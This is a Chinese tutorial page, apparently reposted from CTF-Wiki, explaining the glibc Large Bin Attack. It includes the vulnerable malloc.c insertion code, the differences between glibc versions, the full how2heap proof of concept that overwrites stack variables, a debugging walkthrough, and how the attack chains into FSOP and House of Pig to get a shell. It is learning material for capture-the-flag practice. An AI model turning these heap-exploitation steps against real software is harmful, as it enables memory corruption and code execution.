CTF-Wiki 堆利用实战:glibc Large Bin Attack 原理、版本差异与调试复现
发布时间:2026/9/28 2:21:39来源:尧图网络
文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载导读Large Bin Attack 是 glibc ptmalloc2 堆管理器中一类经典的任意地址写大数攻击它利用 malloc 遍历 unsorted bin 时将 chunk 插入 large bin 的过程中缺少对 nextsize 跳表指针的完整性检测从而把堆地址一个很大的数值写入任意可控地址。本篇文章以 CTF-Wiki 堆利用教程为主体完整剖析其原理、2.29/2.30 等不同 libc 版本下的利用差异并结合 how2heap 的large_bin_attack.c源码给出逐步调试复现流程。读完本文你将掌握large bin 的链表结构与 nextsize 跳表组织方式、入 bin 代码中可利用的具体赋值语句、两种写入方式在不同版本下的适用性以及 large bin attack 作为前置手段如何衔接 Tcache Stash Unlink 与 FSOP 等后续攻击。前置知识bin 分配流程与 large bin 结构Large Bin Attack 涉及的是 chunk 从 unsorted bin 回归 large bin 的过程。原文档明确指出分配与 large bin 有关的 chunk要经过 fastbin、unsorted bin、small bin 的分配建议在学习 large bin attack 之前搞清楚 fastbin、unsorted bin 分配的流程。仓库中的 unsorted-bin-attack.md 对此有系统讲解其核心要点如下unsorted bin 的遍历顺序是 FIFO插入时插到链表头部取出时从链表尾部bk方向取即while ((victim unsorted_chunks(av)-bk) ! unsorted_chunks(av))在 malloc 时如果 fastbin、small bin 中没有恰好满足请求的 chunk就会尝试从 unsorted bin 中取 chunk大小恰好匹配则直接返回否则将该 chunk 依次置入对应的 small bin 或 large bin 中从 unsorted bin 取 chunk 时存在bck-fd unsorted_chunks(av)这样的写入这本身是 unsorted bin attack 的利用点而 large bin attack 则是利用入 large bin 阶段的类似写入。关于 large bin 本身的结构仓库的 heap-structure.md 给出了精确的数据组织说明large bins 一共包括63 个 bin每个 bin 容纳的 chunk 大小不是一个点而是一个区间并按 6 组划分每组内公差一致组数量公差13264B216512B384096B4432768B52262144B61不限制同一 bin 内的 chunk 按fd指针方向从大到小排列相同大小的 chunk 按最近使用顺序排列与之配套的largebin_index(sz)宏会根据SIZE_SZ与MALLOC_ALIGNMENT选择 64 位 / 32 位变体largebin_index_64/largebin_index_32/largebin_index_32_big其本质是通过移位把 chunk 大小映射到上述 63 个桶的索引上64 位下首个 large bin 索引为 48。与 small bin 不同large bin 的链表还维护了一层nextsize 跳表fd_nextsize/bk_nextsize双向链表用于在分配时快速按大小扫描。这一层跳表正是 large bin attack 的核心靶点。漏洞根源large bin 入 bin 操作缺乏跳表指针检测2.33 版 libc 的入 bin 源码原文档以 2.33 版本的 libc 为例指出从 malloc.c 的4052 行开始就是 large bin chunk 的入 bin 操作。当从 unsorted bin 中取出的 chunk 不满足 exact-fit 分配、也不满足切割分配条件时会执行如下代码将其插入 large bin源码见原文档所引 glibc malloc.celse { victim_index largebin_index (size); bck bin_at (av, victim_index); fwd bck-fd; /* maintain large bins in sorted order */ if (fwd ! bck) { /* Or with inuse bit to speed comparisons */ size | PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck-bk)); if ((unsigned long) (size) (unsigned long) chunksize_nomask (bck-bk)) { fwd bck; bck bck-bk; victim-fd_nextsize fwd-fd; victim-bk_nextsize fwd-fd-bk_nextsize; fwd-fd-bk_nextsize victim-bk_nextsize-fd_nextsize victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size chunksize_nomask (fwd)) { fwd fwd-fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd fwd-fd; else { victim-fd_nextsize fwd; victim-bk_nextsize fwd-bk_nextsize; if (__glibc_unlikely (fwd-bk_nextsize-fd_nextsize ! fwd)) malloc_printerr (malloc(): largebin double linked list corrupted (nextsize)); fwd-bk_nextsize victim; victim-bk_nextsize-fd_nextsize victim; } bck fwd-bk; if (bck-fd ! fwd) malloc_printerr (malloc(): largebin double linked list corrupted (bk)); } }仓库的 implementation/malloc.mdplace chunk in large bin一节对这段逻辑给出了精炼的注解可以帮助理解bck-bk保存着相应 large bin 中最小的 chunk如果待插入的 chunk 比最小的还小直接插入链表尾部第一个分支在同一个 large bin 中fd_nextsize方向是 chunk size 递减的方向while ((unsigned long) size chunksize_nomask(fwd)) { fwd fwd-fd_nextsize; }的含义是沿着 nextsize 跳表找到第一个不比 victim 大的 chunk找到与 victim 大小相同的 chunk 时总是插在第二个位置不修改 nextsize 指针fwd fwd-fd这样相同大小的多个 chunk 只有第一个串在 nextsize 跳表上可以降低维护开销找到大小不同的 chunk 时才需要把 victim 挂进 nextsize 跳表即执行victim-bk_nextsize fwd-bk_nextsize; fwd-bk_nextsize victim; victim-bk_nextsize-fd_nextsize victim;最后统一执行mark_bin(av, victim_index); victim-bk bck; victim-fd fwd; fwd-bk victim; bck-fd victim;完成主链表的插入。为什么这里可以被利用原文档点明了漏洞的本质在 malloc 遍历 unsorted bin、把 chunk 置入相应 bin 的过程中缺乏对 large bin 跳表指针的检测。具体而言在victim-bk_nextsize fwd-bk_nextsize; ... victim-bk_nextsize-fd_nextsize victim;这一系列操作中fwd-bk_nextsize与fwd-bk等指针值都来自链表中已有 chunk攻击者可伪造赋值前只对部分场景做了malloc_printerr校验fwd-bk_nextsize-fd_nextsize victim等价于*(fwd-bk_nextsize 0x20) victim64 位下fd_nextsize位于 chunk 偏移0x20是一个把 victim 的堆地址写往任意可控地址的写原语同样的bck-fd victim等价于*(fwd-bk 0x10) victimfd位于 chunk 偏移0x10构成第二个写原语。由于写入的值是victim待插入的 large chunk自身的堆地址它天然是一个很大的数值因此 large bin attack 的效果与 unsorted bin attack 类似把一个大数值堆地址写到任意地址具体数值不可控但攻击者完全可控写入的目标地址。版本差异与利用方法演进2.29 及以下两种写入路径并存原文档指出在 2.29 及以下的版本中根据 unsorted chunk 与链表中已有 chunk 的大小关系分别执行两条不同的赋值语句fwd-fd-bk_nextsize victim-bk_nextsize-fd_nextsize victim; victim-bk_nextsize-fd_nextsize victim;unsorted chunk 小于链表中最小的 chunk时走第一个分支执行前一句反之走else分支执行后一句。两条语句都会产生把 victim 地址写到xxx-bk_nextsize 0x20的效果只是涉及的指针来源不同对应两种不同的利用路径。等大小场景无法利用当 unsorted chunk 与链表中某个 chunk 大小相同的时候代码只走下面这条插入路径因此此时无法利用if ((unsigned long) size (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd fwd-fd;因为该分支只改变fwd的指向向后移动一位没有任何fd_nextsize/bk_nextsize写入跳表指针保持原样攻击者构造的指针无法被触发。2.30 及以上新增完整性检查利用面收窄原文档特别强调在 2.30 版本glibc 新加入了对 large bin 跳表完整性的检查使得unsorted chunk 大于链表中最小的 chunk这一场景下的利用失效if (__glibc_unlikely (fwd-bk_nextsize-fd_nextsize ! fwd)) malloc_printerr (malloc(): largebin double linked list corrupted (nextsize));该检查校验fwd-bk_nextsize-fd_nextsize fwd。若攻击者把bk_nextsize指向任意地址如栈上的目标则fwd-bk_nextsize-fd_nextsize读到的往往是随机值无法等于fwd直接触发malloc_printerr崩溃。因此在新版本中必须使 unsorted chunk 小于链表中最小的 chunk从而走第一个分支通过victim-bk_nextsize-fd_nextsize victim;实现利用——也就是将本 chunk 的地址写到bk_nextsize 0x20处。同时要注意的是新版本对主链表也引入了if (bck-fd ! fwd) malloc_printerr(malloc(): largebin double linked list corrupted (bk))的校验这就要求攻击者在构造bk对应主链表bck时同样精心布局。仓库 unlink.md 中也提到在比较新的 glibc 版本中unlink_chunk针对 large bins 有两个*_nextsize指针的完整性检查p-fd_nextsize-bk_nextsize ! p || p-bk_nextsize-fd_nextsize ! p时报错伪造 large bin 范围内的 chunk 时通常需要把bk_nextsize设为 NULL 来绕过。这些检查共同构成了新版本 large bin attack 的约束条件实践中务必先确认目标环境的具体 libc 版本。实战通过 how2heap 实例学习 large bin attack示例源码与分析原文档选取 how2heap 中的 large bin attack 源码作为教学样例并在其基础上多添加了一个p4变量用于调试。完整源码如下// 主要漏洞在这里 /* This technique is taken from https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/ [...] else { victim-fd_nextsize fwd; victim-bk_nextsize fwd-bk_nextsize; fwd-bk_nextsize victim; victim-bk_nextsize-fd_nextsize victim; } bck fwd-bk; [...] mark_bin (av, victim_index); victim-bk bck; victim-fd fwd; fwd-bk victim; bck-fd victim; For more details on how large-bins are handled and sorted by ptmalloc, please check the Background section in the aforementioned link. [...] */ // gcc large_bin_attack.c -o large_bin_attack -g #include stdio.h #include stdlib.h int main() { fprintf(stderr, This file demonstrates large bin attack by writing a large unsigned long value into stack\n); fprintf(stderr, In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack\n\n); unsigned long stack_var1 0; unsigned long stack_var2 0; fprintf(stderr, Lets first look at the targets we want to rewrite on stack:\n); fprintf(stderr, stack_var1 (%p): %ld\n, stack_var1, stack_var1); fprintf(stderr, stack_var2 (%p): %ld\n\n, stack_var2, stack_var2); unsigned long *p1 malloc(0x320); fprintf(stderr, Now, we allocate the first large chunk on the heap at: %p\n, p1 - 2); fprintf(stderr, And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the first large chunk during the free()\n\n); malloc(0x20); unsigned long *p2 malloc(0x400); fprintf(stderr, Then, we allocate the second large chunk on the heap at: %p\n, p2 - 2); fprintf(stderr, And allocate another fastbin chunk in order to avoid consolidating the next large chunk with the second large chunk during the free()\n\n); malloc(0x20); unsigned long *p3 malloc(0x400); fprintf(stderr, Finally, we allocate the third large chunk on the heap at: %p\n, p3 - 2); fprintf(stderr, And allocate another fastbin chunk in order to avoid consolidating the top chunk with the third large chunk during the free()\n\n); malloc(0x20); free(p1); free(p2); fprintf(stderr, We free the first and second large chunks now and they will be inserted in the unsorted bin: [ %p -- %p ]\n\n, (void *)(p2 - 2), (void *)(p2[0])); void* p4 malloc(0x90); fprintf(stderr, Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation , and reinsert the remaining of the freed first large chunk into the unsorted bin: [ %p ]\n\n, (void *)((char *)p1 0x90)); free(p3); fprintf(stderr, Now, we free the third large chunk and it will be inserted in the unsorted bin: [ %p -- %p ]\n\n, (void *)(p3 - 2), (void *)(p3[0])); //------------VULNERABILITY----------- fprintf(stderr, Now emulating a vulnerability that can overwrite the freed second large chunks \size\ as well as its \bk\ and \bk_nextsize\ pointers\n); fprintf(stderr, Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk at the head of the large bin freelist. To overwrite the stack variables, we set \bk\ to 16 bytes before stack_var1 and \bk_nextsize\ to 32 bytes before stack_var2\n\n); p2[-1] 0x3f1; p2[0] 0; p2[2] 0; p2[1] (unsigned long)(stack_var1 - 2); p2[3] (unsigned long)(stack_var2 - 4); //------------------------------------ malloc(0x90); fprintf(stderr, Lets malloc again, so the freed third large chunk being inserted into the large bin freelist. During this time, targets should have already been rewritten:\n); fprintf(stderr, stack_var1 (%p): %p\n, stack_var1, (void *)stack_var1); fprintf(stderr, stack_var2 (%p): %p\n, stack_var2, (void *)stack_var2); return 0; }先梳理该示例的逻辑骨架这也是 large bin attack 的典型堆风水依次申请 p10x320、p20x400、p30x400并在每个大 chunk 之后申请一个0x20的 fastbin chunk用于隔离避免 free 时与相邻 chunk 或 top chunk 合并free(p1); free(p2);—— 两者进入 unsorted binp1 大小0x330小于 small bin 上限0x3f0属于 small bin 范围p2 大小0x410属于 large bin 范围p4 malloc(0x90);—— 这次分配会触发遍历 unsorted bin 并归位p1small bin 范围被放入 small bin 并从其中切出0x90剩余部分0x330 - 0xa0 0x290重新放回 unsorted binp2large bin 范围被放入 large bin。此时 unsorted bin 中有一个0x290的 chunklarge bin 中有一个0x410的 chunkfree(p3);—— p3 进入 unsorted bin。此时 unsorted bin 中从尾部到头部依次是0x290与0x410p3两个 chunk模拟漏洞改写 p2已处于 large bin 中的 chunk的sizep2[-1] 0x3f1、fd/bkp2[0]0、p2[2]0以及bk与bk_nextsizep2[1] stack_var1 - 2、p2[3] stack_var2 - 4把 size 从0x410改小为0x3f0使 p3 插入时不会被fwdp2的 size 挡住循环从而满足unsorted chunk 大于链表中最小 chunk老版本利用路径或正确触发跳表写入路径bk指向stack_var1 - 16bk_nextsize指向stack_var2 - 32即分别让后续bck-fd victim与victim-bk_nextsize-fd_nextsize victim把 victim 地址写到stack_var1与stack_var2上再次malloc(0x90)触发 unsorted bin 遍历与 large bin 插入观察两个栈变量被改写。编译环境与 loader 切换原文档强调编译完以后注意一定要用 glibc 2.25 的 loader更换 loader 的方法可参考当时社区的调试环境搭建文章。原因在于示例针对的是 2.25 前后未加入 nextsize 完整性检查的 libc若直接使用新版系统的默认 loader 运行会触发 2.30 的malloc_printerr检查导致程序崩溃。实践中通常配合 pwntools 的LD_PRELOAD/ 指定 loader 方式运行或用 patchelf 将可执行文件的 interpreter 替换为 glibc 2.25 的ld-2.25.so同时保证libc.so.6版本匹配。调试时建议搭配 pwngdb / pwndbg 以可视化堆结构。逐步调试用 pwngdb 观察整个攻击过程以下调试过程忠实还原原文档的 pwngdb 分析之旅。调试入口从p4 malloc(0x90)之前的断点开始初始状态程序刚完成free(p1); free(p2);。此时 unsorted bin 中有两个空闲 chunk。注意区分二者p1 的大小是0x330 0x3f0属于small bin 范围p2 的大小是0x410属于large bin 范围。这一点决定了它们在被遍历归位时走不同分支。第一次malloc(0x90)即p4的分配做了什么从 unsorted bin 中拿出最后一个 chunkp1small bin 范围放入 small bin并标记该 small bin 有空闲 chunk再从 unsorted bin 中拿出最后一个 chunkp2large bin 范围放入 large bin并标记该 large bin 有空闲 chunk现在 unsorted bin 为空malloc 从 small binp1中切出一个0x90的 chunk 满足请求并把剩下的 chunk0x330 - 0xa0 0x290重新放回 unsorted bin。即执行完这一步后unsorted bin 中有一个0x290的 chunklarge bin 某个序列的 bin 中有一个0x410的 chunk。free(p3)之后又释放了一个大小为0x410的 large bin chunkp3 自身大小0x410加头即0x420属于 large bin 范围。现在 unsorted bin 有两个空闲 chunk尾部即将被取出的位置是0x290的 chunk头部是 size 为0x410的 p3。构造 p2模拟漏洞修改 p2large bin 中的 chunk。修改结果即上文第 5 步列出的四个字段。此时 large bin 中 p2 的 size 被改为0x3f0、bk指向stack_var1 - 16、bk_nextsize指向stack_var2 - 32。第二次malloc(0x90)的触发过程与第一次类似从 unsorted bin 中拿出最后一个 chunksize 0x290放入 small bin标记该序列的 small bin 有空闲 chunk再从 unsorted bin 中拿出最后一个 chunksize 0x410即 p3。重点来了由于这次拿出的是属于 large bin 范围的 chunk进入了else分支place chunk in large bin开始定位插入位置并维护跳表。nextsize 跳表遍历与写入由于 p2 的 size 被攻击者修改为0x3f0while ((unsigned long) size chunksize_nomask(fwd))循环fwd当前即 p2没有进入p3 的0x410 0x3f0不会沿着fd_nextsize继续找更小的 chunk随后进入大小不同的分支执行跳表插入。这里正是原文档强调的漏洞限制老版本中若 fwd 的 size 未被改小、循环会继续沿着fd_nextsize移动 fwd利用路径就会改变甚至失效因此构造时改小 p2 的 size 是必要操作。随后发生的两次关键写入配合原文档对mark_bin之后主链表插入代码的引用victim-bk_nextsize fwd-bk_nextsize // then victim-bk_nextsize-fd_nextsize victim;由于之前构造时把fwd-bk_nextsizep2 的bk_nextsize指向了stack_var2 - 32因此addr2-fd_nextsize victim; // 等价于 *(addr24) victim;即把 victimp3的堆地址写入了stack_var2。紧接着是主链表插入bck fwd-bk; // ...... mark_bin (av, victim_index); victim-bk bck; victim-fd fwd; fwd-bk victim; bck-fd victim;其中bck-fd victim; // 等价于 (fwd-bk)-fd victim; // 等价于 *(addr12) victim;由于构造时把 p2 的bk指向了stack_var1 - 16于是 victim 的堆地址被写入了stack_var1。至此利用完毕——两个栈变量均被改写为 victim 的堆地址。由于最后实际分配出去的是 small bin 中的 chunk与 large bin 中的 chunk 已无关系因此整个过程不会影响最终返回给用户的内存。利用条件与后续攻击链总结利用条件原文档结合 how2heap 的说明总结了 large bin attack 的利用条件可以修改一个 large bin chunk 的 data即至少具备对已进入 large bin 的 chunk 的写入能力通常由 UAF、堆溢出或伪造 chunk 提供从 unsorted bin 中来的 large bin chunk 要紧跟在被构造过的 chunk 的后面——即 unsorted bin 的遍历顺序FIFO从bk尾取要保证下一个被取出的 chunk 就是攻击者想要写入的 victim且它会被插入到被构造 chunk 所在的 large bin 链表中若目标环境为 glibc 2.30还需满足unsorted chunk 小于链表中最小 chunk的分支条件绕过新增的 nextsize / bk 完整性检查。后续利用衔接 Tcache Stash Unlink 与 FSOPlarge bin attack 本身只能写入大数堆地址因此它通常作为更深入攻击的前置手段。原文档列出了两个典型衔接方向辅助 Tcache Stash Unlink 攻击该攻击要求__free_hook - 0x8处存储一个指向可写内存的指针这个条件可以通过一次 large bin attack 把堆地址写到该位置来满足修改_IO_list_all把_IO_list_all改写为一个可控的堆地址随后在该处伪造_IO_FILE结构体结合_IO_str_overflow等 vtable 函数完成FSOPFile Stream Oriented Programming。仓库中的 house-of-pig.md 正是这一组合的完整案例House of Pig 将Tcache Stash Unlink Attack 与 FSOP 结合同时使用 large bin attack 进行辅助适用于 libc 2.31 及以后的新版本其文中还特别提示 2.31 下的 large bin attack 与老版本有区别。其利用流程为先进行一次 large bin attack在__free_hook - 0x8处写入一个指向可写内存的指针再进行 Tcache Stash Unlink 攻击把__free_hook - 0x10写入 tcache_pthread_struct之后又一次 large bin attack 修改_IO_list_all为堆地址伪造_IO_FILE结构体通过伪造结构体触发_IO_str_overflowgetshell。这也解释了 why how2heap 中会注明In practice, large bin attack is generally prepared for further attacks, such as rewriting the global variable global_max_fast in libc for further fastbin attack——改写global_max_fast使更大 chunk 被当作 fastbin 处理进而衔接 fastbin attack同样是其经典用途之一。延伸阅读若要继续深入可以在当前仓库中按以下路径展开ptmalloc2 实现分析malloc 流程与 large bin 插入逻辑从_int_malloc的大循环到place chunk in large bin逐行注解本攻击涉及的代码路径堆结构large bin 的 63 桶划分与 largebin_index 宏理解 bin 索引与大小映射关系unsorted bin attack同为写大数的兄弟攻击思路可互为参照unlink 攻击与 nextsize 检查理解 large bin 范围伪造 chunk 时需要绕过的完整性检查House of Piglarge bin attack Tcache Stash Unlink FSOP 的综合利用新版本 libc 下 large bin attack 的实战落点off-by-one 中的 large bin 跳表伪造手法展示利用fd_nextsize/bk_nextsize构造 fake_chunk 的进阶技巧。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐ctf-wiki 深入解析glibc ptmalloc2 Large Bin Attack 的原理与实战利用ctf wiki 深入解析glibc ptmalloc2 Large Bin Attack 的原理与实战利用 本文基于 ctf wiki 仓库中 Large文档网络安全教程ctf-wiki 堆利用系列House of Lore 攻击原理与 glibc Small Bin 实战剖析ctf wiki 堆利用系列House of Lore 攻击原理与 glibc Small Bin 实战剖析 House of Lore 是 ctf wiki文档网络安全教程ctf-wiki 堆利用实战深入解析 Unsorted Bin Attack 的原理、Leak 技巧与完整利用流程ctf wiki 堆利用实战深入解析 Unsorted Bin Attack 的原理、Leak 技巧与完整利用流程 导读 Unsorted Bin Attac文档网络安全教程上一篇【亲测免费】 pyTMD 项目使用教程下一篇APKLab进阶技巧如何自定义签名密钥和配置高级调试选项创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
网站建设高端定制企业官网